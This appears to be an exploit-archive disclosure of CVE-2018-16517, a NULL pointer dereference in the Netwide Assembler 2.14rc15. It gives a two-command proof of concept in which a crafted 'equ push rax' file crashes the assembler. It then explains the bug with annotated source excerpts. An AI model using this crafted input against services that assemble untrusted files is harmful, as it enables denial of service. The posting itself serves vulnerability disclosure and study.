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Netwide Assembler (NASM) 2.14rc15 Null Pointer Dereference

Netwide Assembler (NASM) 2.14rc15 Null Pointer Dereference
Posted Apr 18, 2019
Authored by Fakhri Zulkifli

Netwide Assembler (NASM) version 2.14rc15 null pointer dereference proof of concept exploit.

tags | exploit, proof of concept
advisories | CVE-2018-16517
MD5 | c9178a3a96fda40a13f7581eef7e69fc

Netwide Assembler (NASM) 2.14rc15 Null Pointer Dereference

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# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)
# Date: 2018-09-05
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: https://www.nasm.us/
# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
# Version: 2.14rc15 and earlier
# Tested on: 2.14rc15
# CVE : CVE-2018-16517

asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.

PoC:
1. echo "equ push rax" > poc
2. nasm -f elf poc

insn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().

[...]

if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) { <-- not taken
/* there's a label here */
first = false;
result->label = tokval.t_charptr;
i = stdscan(NULL, &tokval);
if (i == ':') { /* skip over the optional colon */
i = stdscan(NULL, &tokval);
} else if (i == 0) {
nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,
"label alone on a line without a colon might be in error");
}
if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {
/*
* FIXME: location.segment could be NO_SEG, in which case
* it is possible we should be passing 'absolute.segment'. Look into this.
* Work out whether that is *really* what we should be doing.
* Generally fix things. I think this is right as it is, but
* am still not certain.
*/
define_label(result->label,
in_absolute ? absolute.segment : location.segment,
location.offset, true);
[...]

static bool islocal(const char *l)
{
if (tasm_compatible_mode) {
if (l[0] == '@' && l[1] == '@')
return true;
}
return (l[0] == '.' && l[1] != '.'); <-- boom
}

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